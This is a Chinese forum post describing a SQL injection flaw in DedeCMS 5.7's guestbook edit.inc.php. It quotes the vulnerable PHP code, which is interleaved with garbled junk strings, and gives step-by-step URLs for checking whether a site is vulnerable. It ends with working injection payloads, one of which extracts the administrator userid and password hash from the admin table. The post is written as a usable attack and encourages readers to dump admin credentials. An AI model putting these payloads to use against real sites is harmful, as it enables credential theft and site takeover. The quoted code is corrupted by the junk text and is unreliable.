dedecms5.7最新sql注射漏洞利用 guestbook.php

admin

影响版本为5.7

漏洞文件edit.inc.php具体代码：

1 c3 d' b/ @& Q& ^8 `1 A< ?php  

if(!defined('DEDEINC')) exit('Request Error!');  
' n: x8 y* ~% p; i' P" {% z
' z& r  m" A# a7 }+ g7 }* s   

if(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];  

else $GUEST_BOOK_POS = "guestbook.php";  
& }- A. T" {& K( _: D& U  Y
  n0 J& }& ~- D' }! e: t  O$ v   

  D$ ^) p( X% R# r' Q  J/ E- l$id = intval($id);  

# b. ]9 ?2 t( d5 B; H$ tif(empty($job)) $job='view';  
. v( t4 i" G# A: I9 ?  c4 J8 o6 b
5 t, P0 @" M. z% J9 b- ]   
+ q8 \# j4 s: n$ A0 {
3 @5 o! B0 A2 a: e$ [if($job=='del' && $g_isadmin)  
* D4 s- V+ f: C/ b4 `) W2 ?
5 Y. I0 A/ |/ ~{  
! Q. }2 H/ N- F
$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");  

ShowMsg("成功删除一条留言！", $GUEST_BOOK_POS);  

! R: r- a. }: Z' R( yexit();  

! i6 F8 z- G+ X}  
0 K7 J3 K) L3 ?9 U. G0 z% l  T
/ h* W( [# v% ]else if($job=='check' && $g_isadmin)  
; ~# c# u$ t3 J6 r
{  

% ~5 w% ~' W+ K/ u$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");  

ShowMsg("成功审核一条留言！", $GUEST_BOOK_POS);  
, I1 r3 R3 t; B
% v. Y9 x0 }5 y1 k* Texit();  

}  
' K6 g1 ]  f; L8 {8 I$ p. Z, O
! n; N+ _# ^) G) _9 y: melse if($job=='editok')  

9 l3 E- P" [- v' v# G. g{  

$remsg = trim($remsg);  

if($remsg!='')  

{  
6 {# |! F- g5 ~* T2 S
1 k8 d6 J% Y- ~. Q//管理员回复不过滤HTML By:Errorera blog:errs.cc  

& y" h% Z4 A. m- Q$ K  u/ G, h0 xif($g_isadmin)  

{  

( O0 f: M. E; w9 m! U$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;  

//$remsg <br /><font color=red>管理员回复：</font> }  

else
# O4 u) R1 f# h' {7 i  B0 h
{  

! y* v" R1 s* z2 S$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");  
1 \  ]" f9 J% q+ E! H0 T& O
5 P* e' K# u9 c3 v# f& f$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";  

0 p, }5 e0 U4 d' j9 h' c. @, F$remsg = trimMsg(cn_substrR($remsg, 1024), 1);  
, r; m6 a  }# Q1 d
+ a4 q4 V& Y$ Y% q$msg = $oldmsg.$remsg;  

% B) Z* ]0 }5 x. K# _! l$ H}  

}  
* i' y0 A; b$ W
; N7 L5 N$ y6 W//这里没有对$msg过滤，导致可以任意注入了By:Errorera home:www.errs.cc  
! O: _1 h  r$ H* _* K- d
! F2 s6 c: U* a+ i3 @3 u$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");  
8 M8 i/ P3 R6 O. [& g3 A
6 K8 k2 r0 @& n, o( G0 q5 U7 @ShowMsg("成功更改或回复一条留言！", $GUEST_BOOK_POS);  

. \. E9 |( _" Y! texit();  
6 J  w" J+ a0 \: U8 X" K
}  
7 u4 g5 _' u, }! a. l' j3 k) B
//home:www.errs.cc  
( U" U# Q5 K1 `( m
if($g_isadmin)  

{  
/ u+ `% i  P; F( y% J
$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");  
$ `" y/ D3 ]& R8 y2 I; c$ F
# d/ R9 T9 Z/ W; u' U; z$ I2 d6 Drequire_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');  
4 b: U! r. \+ q
7 x$ c: B- \9 k. Z& [}  

else

{  
: A4 m9 W2 I/ ]+ u# T0 e
$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");  
4 N, b$ [' {6 ~$ R/ X
require_once(DEDETEMPLATE.'/plus/guestbook-user.htm');  

} 漏洞成功需要条件：
1. php magic_quotes_gpc=off
2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。
  z, d3 ^$ w" o9 L* V
怎么判断是否存在漏洞：
先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言，
然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID
访问：

0 ?2 U0 i* q7 R. t2 s0 ^9 Y1 r  cwww.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了
) M$ I% w- K. X2 Z9 Y- S% V跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证


& k  Q4 c% e2 K4 |明漏洞无法利用应为他开启了 php magic_quotes_gpc=off
如果没有修改成功，那留言ID的内容还是以前的 那就证明漏洞可以利用。
" W# Q4 v7 R. H( l那么再次访问

0 L* G5 d0 O+ q% g! fwww.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回，那条留言ID的内容就直接修改成了mysql 的user().

' h% D, _: y+ _1 T大概利用就是这样，大家有兴趣的多研究下！！
- Q7 ~' `' e) Q. P2 O5 a
最后补充下，估计有人会说怎么暴管理后台帐户密码，你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)！！
  Y# J$ p# {  T$ s0 y
view sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email='